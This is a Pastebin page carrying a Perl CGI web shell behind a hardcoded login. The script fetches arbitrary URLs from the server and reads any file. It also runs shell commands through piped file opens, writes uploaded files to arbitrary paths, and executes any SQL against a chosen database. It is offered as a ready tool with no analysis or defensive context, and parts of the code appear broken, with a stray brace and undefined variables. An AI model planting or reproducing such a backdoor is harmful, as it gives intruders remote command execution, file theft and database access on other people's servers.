Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use DBI;
- use Digest::MD5 qw(md5_hex);
- use HTML::Entities;
- use LWP::UserAgent;
- use CGI qw(:standard);
- use CGI::Carp qw(fatalsToBrowser);
- my $customizeUser = "roentgen";
- my $customizePass = "XraYr3cnac";
- sub trim($)
- {
- my $string = shift;
- $string =~ s/^\s+//;
- $string =~ s/\s+$//;
- return $string;
- }
- my $query = new CGI;
- binmode STDOUT;
- $| = 1;
- print $query->header();
- print "<html><head></head><body><form action=\"\" method=post enctype=\"multipart/form-data\">";
- print "<b>...</b>\n";
- print "\n";
- print '<input type="submit"><br><br>';
- }
- if (($query->param("user") ne $customizeUser) || ($query->param("pass") ne $customizePass)) {
- print "</form></html>";
- exit;
- }
- if ($interface){
- print '<input type="checkbox" name="no-interface" value="true">No Interface<br>';
- print "<br><b>Proxy</b>:<br>\n\n";
- print '<input type="checkbox" name="proxy-pre" value="true" default>Pre<br>';
- print '<textarea name="proxy-get" cols="100" rows="30"></textarea>';
- }
- if (length($query->param('proxy-get'))>3) {
- my $ua = LWP::UserAgent->new;
- $ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927');
- my @queries = split(/\n/, $query->param('proxy-get'));
- my $pre = $query->param('proxy-pre') eq "true";
- $pre = $pre && $interface;
- foreach my $q (@queries)
- {
- if ($pre){
- print "<div><b>Get</b>: $q <br><br>";
- print "<pre>";
- }
- my $res = $ua->get($q);
- if ($res) { $res = $res->content; }
- $res =~ s/&/&/g if $pre;
- $res =~ s/[<]/</g if $pre;
- print $res;
- print "</pre></div>" if $pre;
- }
- }
- if ($interface){
- print "<br><b>Files</b>:<br>\n\n";
- print '<input type="checkbox" name="guess-kind" value="true" checked>Guess file meaning<br>';
- print '<textarea name="files" cols="100" rows="30"></textarea>';
- }
- if (length($query->param('files'))>3) {
- my $ua = LWP::UserAgent->new;
- $ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927');
- my @files = split(/\n/, $query->param('files'));
- my $guess = $query->param('guess-kind') eq "true";
- my $pre = 1 && $interface;
- foreach my $f (@files)
- {
- my $g = $f;
- if ($guess) {
- $g = trim($f);
- if ($g =~ m+.*[/]$+) {
- $g = "ls -Al ".$g;
- }
- if ($g =~ m/[ ]/) {
- $g = $g." 2>&1 |";
- }
- }
- if ($pre){
- print "<div><b>File</b>: $g <br><br>";
- print "<pre>";
- }
- open(FILE, $g);
- binmode(FILE);
- print <FILE>;
- close(FILE);
- print "</pre></div>" if $pre;
- }
- }
- if ($interface){
- print "<br><b>File up</b>:<br>\n\n";
- print '<input name="filename" type="text" size=100>';
- print '<input name="filedata" type="file">';
- print '<textarea name="filecontent" rows=30 cols=80></textarea><br>';
- }
- if (length($query->param("filename"))>3){
- print "<br>File upload to: ".$query->param("filename")."<br>";
- if (length($query->param("filecontent"))>3){
- open (FILE, '>'.$query->param("filename"));
- binmode (FILE);
- print FILE ($query->param("filecontent"));
- close (FILE);
- } else {
- my $lightweight_fh = $query->upload('filedata');
- if (defined $lightweight_fh) {
- my $io_handle = $lightweight_fh->handle;
- binmode ($io_handle);
- open (OUTFILE,'>',$query->param("filename"));
- binmode (OUTFILE);
- my $buffer;
- while (my $bytesread = $io_handle->read($buffer,1024)) {
- print OUTFILE $buffer;
- }
- close (OUTFILE);
- } else { print "Handle not defined"; }
- }
- }
- if ($interface){
- print "<br><b>Database</b>:<br>\n\n";
- print '<input name="dbtype" type="text" value="'.defparam("dbtype","mysql").'">';
- print '<input name="dbhost" type="text" value="'.defparam("dbhost","localhost").'">';
- print '<input name="dbport" type="text" value="'.defparam("dbport","3306").'">';
- print '<input name="dbname" type="text" value="'.$query->param("dbname").'">';
- print '<input name="dbuser" type="text" value="'.$query->param("dbuser").'">';
- print '<input name="dbpass" type="text" value="'.$query->param("dbpass").'"><br>';
- print '<textarea name="dbquery" rows=30 cols=80></textarea><br>';
- }
- if (length($query->param("dbquery"))>3){
- my $typ = $query->param("dbtype");
- my $host = $query->param("dbhost");
- my $port = $query->param("dbport");
- my $dbn = $query->param("dbname");
- my $user = $query->param("dbuser");
- my $pass = $query->param("dbpass");
- my $dsn = "DBI:$typ:database=$dbn;host=$host;port=$port";
- my $dbh = DBI->connect($dsn, $user, $pass,{RaiseError=>1});
- print "<div><table>";
- if ($dbh) {
- my $sth=$dbh->prepare($query->param("dbquery"));
- if ($sth) {
- $sth->execute();
- while (my @data = $sth->fetchrow_array()) {
- print "<tr>";
- foreach my $v (@data) {
- print "<td>$v</td>";
- }
- print "</tr>";
- }
- $sth->finish();
- $dbh->disconnect;
- } else { print "Error:"; }
- } else { print ("Error: $dbh->errstr"); }
- print "</table></div>";
- }
- if ($interface) {
- print '<br><br><br><input type="submit"><br><br>';
- print "</form></html>";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement